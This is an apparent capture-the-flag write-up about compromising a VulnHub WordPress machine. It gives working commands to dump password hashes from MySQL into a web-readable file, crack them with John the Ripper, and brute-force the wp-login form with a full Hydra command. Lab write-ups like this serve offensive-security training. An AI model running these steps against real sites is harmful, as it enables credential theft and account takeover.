
In my last writeup, I recovered mysql
credentials from a server and wrote a webshell to disk from there. This time, we’ll look at further leveraging the database contents by dumping hashes, cracking them with John The Ripper
and also bruteforcing a WordPress login with Hydra
.
Getting the Hashes
To access the mysql
service with a one-liner I used the following:
mysql --user=root --password=plbkac --host=192.168.15.151
For real engagements and situations where there are security concerns with putting a password in plaintext, you can omit the -password
flag and instead be prompted to enter the password upon connection.
Once we are connected to the service, we can begin enumerating what’s inside! First things first, let’s list the databases:
> show databases;
We can see there are several. The interest for today is wordpress
however loot
and proof
were interesting and I encourage everyone to check them out themselves.
Let’s enumerate the wordpress
database. To do this, we’ll have to select it:
> use wordpress
Easy enough. Now let’s see what tables are in this database:
> show tables;
Ok, cool. This looks like where pretty much everything that needs to be stored on the blog is kept. Let’s check out the wp_users
table to see if we can get some creds:
> describe wp_users;
Looking at the Fields, it seems like we’ll be interested in user_login
and user_pass
. To view these fields:
> select user_login, user_pass from wp_users;
We can also join these two files together to look like user:password
:
> select concat_ws(‘:’, user_login, user_pass) from wp_users;
We could just copy and paste this list since it’s only 16 entris. However we can also write this into a file and retrieve it from the server. In my previous post, we wrote a webshell through mysql
and placed it in the /var/www/https/blogblog/wp-content/uploads/
directory.
select concat_ws(‘:’, user_login, user_pass) from wp_users into outfile ‘/var/www/https/blogblog/wp-content/uploads/creds.txt’;
And here are the hashes. We can curl this file directly off the server with:
curl -k https://192.168.15.151:12380/blogblog/wp-content/uploads/creds.txt > creds.txt
-k
to ignore the server’s self-signed certificate
Cracking the Hashes
Now that we’ve got the password hashes off the server, let’s get cracking! Since I’m running Kali in a VM, I am not able to run hashcat
becuase I don’t have a GPU to run it on. My go-to for cracking hashes is John The Ripper
and the rockyou
wordlist. Not because these will always get me results, but because for CTF-style machines like many on VulnHub, if the hash is supposed to be cracked, these should do it.
These are phpass hashes which I had not had experience with before. I tried giving John The Ripper
the user:pass
format to crack the passwords and correlate them back to the username associated with it. However the file caused a formatting error which I did not expect. I was able to run John The Ripper
successfully with just the hashes, no usernames.
john hashes --wordlist=/usr/share/wordlists/rockyou.txt
The rockyou.txt
wordlist cracked about half of the hashes. But now I had a different problem: Which password belongs to which account?
Brute-forcing WordPress Login
To correlate the usernames back to cracked passwords, I chose to use hydra
. I copied the usernames into one file and the plaintext passwords another. Brute-forcing web logins is a little more involved than other services like ssh. This is because you have to provide the field names for each parameter as well as session cookies, and what an unsuccessful attempt looks like.
To get the neccessary field names, I fired up burpsuite
and created a test login to intercept the fields that are sent during an authentication attempt.
I entered name
as the username and secret
as the password. When I intercepted the request with burpsuite
, I was able to see that there were other fields that were also neccessary for a login attempt.
In total, I’ll need to specify four fields, log
as the username, pwd
as the password, wp-submit
as the Log In, and testcookie
being equal to 1
. When WordPress redirects a successful authentication, the page contains Location
in the source; this is not the case for failures. We can give all of this infomation to hydra
in order to bruteforce these passwords. hydra
uses ^USER^
and ^PASS^
as anchor fields to iterate through during a brute-force attempts.
hydra 192.168.15.151 -s 12380 https-form-post “/blogblog/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location” -L users -P pass
-s
to specify port 12380
https-form-post
to specify sending a post request over https
/blogblog/wp-login.php
is the login page
log=^USER^
specify field for username
pwd=^PASS^
specify field for password
&wp-submit=Log In
specify Log In button
&testcookie=1
specify cookie name and value
S=Location
signifies testing for succes and that success will contain ‘Location’
-L
specifies name of username list
-P
specifies name of password list
Since this command is rather long, I put it in a shell script for easy editing and saving for later and named it brute.sh
.
Here we see that hydra
was able to match all the passwords to their usernames in a matter of seconds! Bruteforcing is a noisy thing to do on a machine with any type of logging or monitoring. There is the potntial for tripping up an Intrusion Prevention System which could blacklist our IP. However since this machine did not have any sort of protective measures, we could have run hydra
with our list of users and rockyou.txt
as the password list and gotten the same results without John The Ripper
.
We were able to crack multiple credentials for WordPress Administrators. These accounts have elevated privileges that allow them to potentially write arbitrary files to disk on the machine. This is a likely path to getting a shell on the box.
Originally posted: https://medium.com/bugbountywriteup/pwning-wordpress-passwords-2caf12216956
Author
